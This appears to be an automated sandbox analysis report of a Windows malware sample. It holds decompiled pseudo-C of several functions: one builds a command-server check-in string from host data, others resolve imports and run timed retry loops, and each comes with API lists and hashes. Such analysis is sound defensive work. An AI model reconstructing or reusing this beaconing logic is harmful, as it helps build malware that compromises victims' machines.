Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 49ce00a74c5026685ddf57a3213c5fc1fdcbf11da22bef7e297f1a427f47f248
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 42F01CB690020CBFEB119FA5DC85C9FBBBDEB44298B10497AB652E1094D6309E089A60

Uniqueness

Uniqueness Score: -1.00%

Function 02678B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E02678B94(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t101;
				signed int _t105;
				char** _t107;
				int _t110;
				signed int _t112;
				intOrPtr* _t113;
				intOrPtr* _t115;
				intOrPtr* _t117;
				intOrPtr* _t119;
				intOrPtr _t122;
				intOrPtr _t127;
				int _t131;
				CHAR* _t133;
				intOrPtr _t134;
				void* _t135;
				void* _t144;
				int _t145;
				void* _t146;
				intOrPtr _t147;
				void* _t149;
				long _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				intOrPtr* _t158;
				void* _t159;
				void* _t161;

				_t144 = __edx;
				_t135 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x267d018; // 0x99c08bf
				asm("bswap eax");
				_t61 =  *0x267d014; // 0x3a87c8cd
				_t133 = _a16;
				asm("bswap eax");
				_t62 =  *0x267d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x267d00c; // 0x62819102
				asm("bswap eax");
				_t64 =  *0x267d27c; // 0xc7a5a8
				_t3 = _t64 + 0x267e633; // 0x74666f73
				_t145 = wsprintfA(_t133, _t3, 3, 0x3d14b, _t63, _t62, _t61, _t60,  *0x267d02c,  *0x267d004, _t59);
				_t67 = E02671C1A();
				_t68 =  *0x267d27c; // 0xc7a5a8
				_t4 = _t68 + 0x267e673; // 0x74707526
				_t71 = wsprintfA(_t145 + _t133, _t4, _t67);
				_t161 = _t159 + 0x38;
				_t146 = _t145 + _t71; // executed
				_t72 = E026754BC(_t135); // executed
				_t134 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t127 =  *0x267d27c; // 0xc7a5a8
					_t7 = _t127 + 0x267e8eb; // 0x736e6426
					_t131 = wsprintfA(_a16 + _t146, _t7, _t72);
					_t161 = _t161 + 0xc;
					_t146 = _t146 + _t131;
					HeapFree( *0x267d238, 0, _v8);
				}
				_t73 = E02677649();
				_v8 = _t73;
				if(_t73 != 0) {
					_t122 =  *0x267d27c; // 0xc7a5a8
					_t11 = _t122 + 0x267e8f3; // 0x6f687726
					wsprintfA(_t146 + _a16, _t11, _t73);
					_t161 = _t161 + 0xc;
					HeapFree( *0x267d238, 0, _v8);
				}
				_t147 =  *0x267d32c; // 0x32f95b0
				_t75 = E02679395(0x267d00a, _t147 + 4);
				_t153 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0x267d238, _t153, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x267d238, 0, 0x800); // executed
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x267d238, _t153, _v20);
						goto L26;
					}
					E02677A80(GetTickCount());
					_t82 =  *0x267d32c; // 0x32f95b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x267d32c; // 0x32f95b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x267d32c; // 0x32f95b0
					_t149 = E02678307(1, _t144, _a16,  *_t88);
					_v28 = _t149;
					asm("lock xadd [eax], ecx");
					if(_t149 == 0) {
						L24:
						RtlFreeHeap( *0x267d238, _t153, _v8); // executed
						goto L25;
					}
					StrTrimA(_t149, 0x267c2ac);
					_push(_t149);
					_t94 = E02673CC8();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x267d238, _t153, _t149);
						goto L24;
					}
					_t154 = __imp__;
					 *_t154(_t149, _a4);
					 *_t154(_v8, _v20);
					_t155 = __imp__;
					 *_t155(_v8, _v16);
					 *_t155(_v8, _t149);
					_t101 = E0267809F(0, _v8);
					_a4 = _t101;
					if(_t101 == 0) {
						_v12 = 8;
						L21:
						E0267A1B0();
						L22:
						HeapFree( *0x267d238, 0, _v16);
						_t153 = 0;
						goto L23;
					}
					_t105 = E026743DF(_t134, 0xffffffffffffffff, _t149,  &_v24); // executed
					_v12 = _t105;
					if(_t105 == 0) {
						_t158 = _v24;
						_t112 = E0267163F(_t158, _a4, _a8, _a12); // executed
						_v12 = _t112;
						_t113 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t113 + 0x80))(_t113);
						_t115 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t115 + 8))(_t115);
						_t117 =  *((intOrPtr*)(_t158 + 4));
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						_t119 =  *_t158;
						 *((intOrPtr*)( *_t119 + 8))(_t119);
						E02679039(_t158);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t107 = _a8;
							if(_t107 != 0) {
								_t150 =  *_t107;
								_t156 =  *_a12;
								wcstombs( *_t107,  *_t107,  *_a12);
								_t110 = E026785DB(_t150, _t150, _t156 >> 1);
								_t149 = _v28;
								 *_a12 = _t110;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E02679039(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x02678b94
0x02678b94
0x02678b94
0x02678b9f
0x02678ba6
0x02678ba8
0x02678ba8
0x02678bb5
0x02678bc0
0x02678bc3
0x02678bc8
0x02678bd1
0x02678bd4
0x02678bd9
0x02678bdc
0x02678be1
0x02678be4
0x02678bf0
0x02678bfd
0x02678bff
0x02678c05
0x02678c0a
0x02678c15
0x02678c17
0x02678c1a
0x02678c1c
0x02678c23
0x02678c29
0x02678c2c
0x02678c2f
0x02678c34
0x02678c41
0x02678c43
0x02678c49
0x02678c53
0x02678c53
0x02678c55
0x02678c5c
0x02678c5f
0x02678c62
0x02678c67
0x02678c74
0x02678c76
0x02678c84
0x02678c84
0x02678c86
0x02678c94
0x02678c99
0x02678c9d
0x02678ca0
0x02678e63
0x02678e6d
0x02678e76
0x02678ca6
0x02678cb2
0x02678cba
0x02678cbd
0x02678e57
0x02678e61
0x00000000
0x02678e61
0x02678cc9
0x02678cce
0x02678cd7
0x02678ce8
0x02678cec
0x02678cf5
0x02678cfb
0x02678d0a
0x02678d11
0x02678d1a
0x02678d20
0x02678e4b
0x02678e55
0x00000000
0x02678e55
0x02678d2c
0x02678d32
0x02678d33
0x02678d3a
0x02678d3d
0x02678e41
0x02678e49
0x00000000
0x02678e49
0x02678d46
0x02678d4d
0x02678d55
0x02678d5a
0x02678d63
0x02678d69
0x02678d70
0x02678d77
0x02678d7a
0x02678e79
0x02678e2d
0x02678e2d
0x02678e32
0x02678e3d
0x02678e3f
0x00000000
0x02678e3f
0x02678d84
0x02678d8b
0x02678d8e
0x02678d93
0x02678d9e
0x02678da3
0x02678da6
0x02678dac
0x02678db2
0x02678db8
0x02678dbb
0x02678dc1
0x02678dc4
0x02678dc9
0x02678dcd
0x02678dcd
0x02678dd9
0x02678de5
0x02678de9
0x02678deb
0x02678df0
0x02678df2
0x02678df7
0x02678dfc
0x02678e09
0x02678e11
0x02678e14
0x02678e14
0x02678df0
0x00000000
0x02678ddb
0x02678ddf
0x02678e16
0x02678e19
0x02678e22
0x00000000
0x00000000
0x00000000
0x00000000
0x02678e22
0x02678de1
0x00000000
0x02678de1
0x02678dd9

APIs

GetTickCount.KERNEL32 ref: 02678BA8
wsprintfA.USER32 ref: 02678BF8
wsprintfA.USER32 ref: 02678C15
wsprintfA.USER32 ref: 02678C41
HeapFree.KERNEL32(00000000,?), ref: 02678C53
wsprintfA.USER32 ref: 02678C74
HeapFree.KERNEL32(00000000,?), ref: 02678C84
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02678CB2
GetTickCount.KERNEL32 ref: 02678CC3
RtlEnterCriticalSection.NTDLL(032F9570), ref: 02678CD7
RtlLeaveCriticalSection.NTDLL(032F9570), ref: 02678CF5

Part of subcall function 02678307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,73FCC740,?,?,0267A428,?,032F95B0), ref: 02678332
Part of subcall function 02678307: lstrlen.KERNEL32(?,?,?,0267A428,?,032F95B0), ref: 0267833A
Part of subcall function 02678307: strcpy.NTDLL ref: 02678351
Part of subcall function 02678307: lstrcat.KERNEL32(00000000,?), ref: 0267835C
Part of subcall function 02678307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0267A428,?,032F95B0), ref: 02678379

StrTrimA.SHLWAPI(00000000,0267C2AC,?,032F95B0), ref: 02678D2C

Part of subcall function 02673CC8: lstrlen.KERNEL32(032F9910,00000000,00000000,73FCC740,0267A453,00000000), ref: 02673CD8
Part of subcall function 02673CC8: lstrlen.KERNEL32(?), ref: 02673CE0
Part of subcall function 02673CC8: lstrcpy.KERNEL32(00000000,032F9910), ref: 02673CF4
Part of subcall function 02673CC8: lstrcat.KERNEL32(00000000,?), ref: 02673CFF

lstrcpy.KERNEL32(00000000,?), ref: 02678D4D
lstrcpy.KERNEL32(?,?), ref: 02678D55
lstrcat.KERNEL32(?,?), ref: 02678D63
lstrcat.KERNEL32(?,00000000), ref: 02678D69

Part of subcall function 0267809F: lstrlen.KERNEL32(?,00000000,0267D330,00000001,02672200,0267D00C,0267D00C,00000000,00000005,00000000,00000000,?,?,?,026796C1,026723E9), ref: 026780A8
Part of subcall function 0267809F: mbstowcs.NTDLL ref: 026780CF
Part of subcall function 0267809F: memset.NTDLL ref: 026780E1

wcstombs.NTDLL ref: 02678DFC

Part of subcall function 0267163F: SysAllocString.OLEAUT32(?), ref: 02671680
Part of subcall function 0267163F: IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 02671702
Part of subcall function 0267163F: StrStrIW.SHLWAPI(?,006E0069), ref: 02671741

Part of subcall function 02679039: HeapFree.KERNEL32(00000000,00000000,02677F18,00000000,?,?,00000000), ref: 02679045

HeapFree.KERNEL32(00000000,?,?), ref: 02678E3D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02678E49
RtlFreeHeap.NTDLL(00000000,?,?,032F95B0), ref: 02678E55
HeapFree.KERNEL32(00000000,?), ref: 02678E61
RtlFreeHeap.NTDLL(00000000,?), ref: 02678E6D

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: e9be28abe0ca44fbb4d64df27d8fe45253aad749b96df30d7a2c76f594623772
Instruction ID: 18490a0e4133b0f61e182b49a65e02a060d61dabfba11f6d041105e9408b7c57
Opcode Fuzzy Hash: e9be28abe0ca44fbb4d64df27d8fe45253aad749b96df30d7a2c76f594623772
Instruction Fuzzy Hash: 6A914971940208EFCB15DFA4EC88A9E7BB9EF08354F145855F908E7260DB31DDA5EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0267ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0267ADE5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x2670000;
				_t115 = _t139[3] + 0x2670000;
				_t131 = _t139[4] + 0x2670000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x2670000;
				_v16 = _t139[5] + 0x2670000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x2670002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x267d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x267d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x267d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x267d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x267d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x267d198; // 0x0
										 *_t102 = _t125;
										 *0x267d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x267d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x0267adf4
0x0267ae0a
0x0267ae10
0x0267ae12
0x0267ae17
0x0267ae1d
0x0267ae22
0x0267ae25
0x0267ae33
0x0267ae3a
0x0267ae3d
0x0267ae40
0x0267ae41
0x0267ae44
0x0267ae47
0x0267ae4a
0x0267ae4f
0x0267ae5e
0x00000000
0x0267ae64
0x0267ae6e
0x0267ae78
0x0267ae7d
0x0267ae7f
0x0267ae89
0x0267ae8c
0x0267ae8f
0x0267ae95
0x0267ae97
0x0267ae97
0x0267ae9a
0x0267ae9d
0x0267aea2
0x0267aea6
0x0267aeb9
0x0267aebb
0x0267af63
0x0267af63
0x0267af6a
0x0267af6d
0x0267af77
0x0267af77
0x0267af7b
0x0267aff9
0x0267affc
0x0267affe
0x0267affe
0x0267b005
0x0267b007
0x0267b011
0x0267b014
0x0267b017
0x0267b017
0x00000000
0x0267af7d
0x0267af80
0x0267afae
0x0267afb8
0x0267afbc
0x0267afc4
0x0267afc7
0x0267afce
0x0267afd8
0x0267afd8
0x0267afdc
0x0267afe1
0x0267aff0
0x0267aff6
0x0267aff6
0x0267afdc
0x00000000
0x0267af87
0x0267af8a
0x0267af92
0x0267afa7
0x0267afac
0x00000000
0x00000000
0x0267afac
0x00000000
0x0267af92
0x0267af80
0x0267af7b
0x0267aec1
0x0267aec8
0x0267aed8
0x0267aedb
0x0267aee1
0x0267aee5
0x0267af28
0x0267af34
0x0267af5d
0x0267af36
0x0267af3a
0x0267af40
0x0267af48
0x0267af4a
0x0267af4d
0x0267af53
0x0267af55
0x0267af55
0x0267af48
0x0267af3a
0x00000000
0x0267af34
0x0267aeed
0x0267aef0
0x0267aef7
0x0267af07
0x0267af0a
0x0267af1a
0x00000000
0x0267af20
0x0267af01
0x0267af05
0x00000000
0x00000000
0x00000000
0x0267af05
0x0267aed2
0x0267aed6
0x00000000
0x00000000
0x00000000
0x0267aed6
0x0267aeaf
0x0267aeb3
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0267AE5E
LoadLibraryA.KERNELBASE(?), ref: 0267AEDB
GetLastError.KERNEL32 ref: 0267AEE7
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 0267AF1A

Strings

$, xrefs: 0267AE33

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: c385b40361f7e8ae1d71b317037c829a227142907de17b72860b4ebba931cc17
Instruction ID: 7002f605f41dab77797469e49ce0e1efda21b8e8327c14f2a835a39e83dad369
Opcode Fuzzy Hash: c385b40361f7e8ae1d71b317037c829a227142907de17b72860b4ebba931cc17
Instruction Fuzzy Hash: 87810BB5A40205AFDB15CFA8E884BAEB7F5FF48314F14852AE905E7340E774E985CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02676786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E02676786(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x267d240);
					_v20 = 0;
					_v16 = 0;
					L0267B0C8();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x267d26c; // 0x200
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x267d24c = 5;
						} else {
							_t68 = E026773FD(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x267d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E02678504(_t72, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_t90 = _t65 - 3;
						_v12 = _t65;
						if(_t65 != 3) {
							goto L6;
						} else {
							_v8.LowPart = E02673BF1(_t72, _t90,  &_v92, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x267d244);
							goto L21;
						} else {
							__eflags =  *0x267d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E0267A1B0();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x267d248);
								L21:
								L0267B0C8();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								__eflags = _t64;
								_v8.LowPart = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x267d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x02676786
0x02676798
0x0267679b
0x026767a7
0x026767af
0x026767b2
0x02676919
0x026767b8
0x026767b8
0x026767ba
0x026767bf
0x026767c0
0x026767c6
0x026767c9
0x026767cc
0x026767da
0x026767e5
0x026767e8
0x026767ea
0x026767f7
0x02676801
0x02676805
0x02676808
0x0267680d
0x02676818
0x02676818
0x0267680f
0x0267680f
0x02676816
0x00000000
0x00000000
0x02676816
0x02676822
0x00000000
0x02676825
0x02676829
0x02676834
0x02676834
0x0267683b
0x02676844
0x0267684b
0x02676854
0x02676857
0x0267685a
0x02676861
0x02676864
0x00000000
0x00000000
0x02676866
0x02676869
0x0267686c
0x0267686f
0x00000000
0x02676871
0x02676880
0x02676880
0x00000000
0x026768ae
0x026768ae
0x026768b3
0x026768d2
0x026768d4
0x026768d9
0x026768da
0x00000000
0x026768b5
0x026768b5
0x026768bb
0x00000000
0x026768bd
0x026768bd
0x026768c2
0x026768c4
0x026768c9
0x026768ca
0x026768e0
0x026768e0
0x026768e8
0x026768f3
0x026768f6
0x02676901
0x02676903
0x02676905
0x02676908
0x00000000
0x0267690e
0x00000000
0x0267690e
0x02676908
0x026768bb
0x00000000
0x026768b3
0x02676883
0x02676885
0x02676888
0x02676889
0x02676889
0x0267688d
0x02676897
0x02676897
0x0267689d
0x026768a0
0x026768a0
0x026768a6
0x026768a6
0x02676923
0x00000000

APIs

memset.NTDLL ref: 0267679B
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 026767A7
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 026767CC
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 026767E8
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 02676801
HeapFree.KERNEL32(00000000,00000000), ref: 02676897
CloseHandle.KERNEL32(?), ref: 026768A6
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 026768E0
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,02672417,?), ref: 026768F6
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 02676901

Part of subcall function 026773FD: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,032F9388,00000000,?,76D7F710,00000000,76D7F730), ref: 0267744C
Part of subcall function 026773FD: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,032F93C0,?,00000000,30314549,00000014,004F0053,032F937C), ref: 026774E9
Part of subcall function 026773FD: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,02676814), ref: 026774FB

GetLastError.KERNEL32 ref: 02676913

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: ecb5d3aca7b22563ed9fa23258fb3a5dcb9999454715c888e4257e2366314e28
Instruction ID: 9f994f1f49d44ae0702e635efa31f98119ad4ed182cf5fe11e050748197c0605
Opcode Fuzzy Hash: ecb5d3aca7b22563ed9fa23258fb3a5dcb9999454715c888e4257e2366314e28
Instruction Fuzzy Hash: 6D514F71C01229AADF14DFD4EC44DEEBFBDEF45324F10461AE510A2290D7719A95CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000163F(char _a4) {
				long _v8;
				struct _SYSTEMTIME _v24;
				char _v48;
				void* __edi;
				long _t20;
				int _t22;
				long _t25;
				long _t26;
				long _t30;
				void* _t36;
				intOrPtr _t38;
				intOrPtr _t43;
				signed int _t44;
				void* _t48;
				signed int _t51;
				void* _t54;
				intOrPtr* _t55;

				_t20 = E10001850();
				_v8 = _t20;
				if(_t20 != 0) {
					return _t20;
				}
				do {
					GetSystemTime( &_v24);
					_t22 = SwitchToThread();
					asm("cdq");
					_t44 = 9;
					_t51 = _t22 + (_v24.wMilliseconds & 0x0000ffff) % _t44;
					_t25 = E100018F4(0, _t51); // executed
					_v8 = _t25;
					Sleep(_t51 << 5); // executed
					_t26 = _v8;
				} while (_t26 == 0xc);
				if(_t26 != 0) {
					L18:
					return _t26;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t54 = E100012DC(E1000135A,  &_v48);
					if(_t54 == 0) {
						_v8 = GetLastError();
					} else {
						_t30 = WaitForSingleObject(_t54, 0xffffffff);
						_v8 = _t30;
						if(_t30 == 0) {
							GetExitCodeThread(_t54,  &_v8);
						}
						CloseHandle(_t54);
					}
					_t26 = _v8;
					if(_t26 == 0xffffffff) {
						_t26 = GetLastError();
					}
					goto L18;
				}
				if(E10001538(_t44,  &_a4) != 0) {
					 *0x10004138 = 0;
					goto L11;
				}
				_t43 = _a4;
				_t55 = __imp__GetLongPathNameW;
				_t36 =  *_t55(_t43, 0, 0); // executed
				_t48 = _t36;
				if(_t48 == 0) {
					L9:
					 *0x10004138 = _t43;
					goto L11;
				}
				_t14 = _t48 + 2; // 0x2
				_t38 = E10001DE1(_t48 + _t14);
				 *0x10004138 = _t38;
				if(_t38 == 0) {
					goto L9;
				}
				 *_t55(_t43, _t38, _t48); // executed
				E10001DFC(_t43);
				goto L11;
			}

0x10001646
0x1000164f
0x10001652
0x10001742
0x10001742
0x10001659
0x1000165d
0x10001663
0x10001671
0x10001672
0x10001675
0x10001678
0x10001681
0x10001684
0x1000168a
0x1000168d
0x10001694
0x1000173f
0x00000000
0x1000173f
0x1000169e
0x100016ef
0x100016ef
0x10001705
0x1000170a
0x10001732
0x1000170c
0x1000170f
0x10001717
0x1000171a
0x10001721
0x10001721
0x10001728
0x10001728
0x10001735
0x1000173b
0x1000173d
0x1000173d
0x00000000
0x1000173b
0x100016ab
0x100016e9
0x00000000
0x100016e9
0x100016ad
0x100016b0
0x100016b9
0x100016bb
0x100016bf
0x100016e1
0x100016e1
0x00000000
0x100016e1
0x100016c1
0x100016c6
0x100016cd
0x100016d2
0x00000000
0x00000000
0x100016d7
0x100016da
0x00000000

APIs

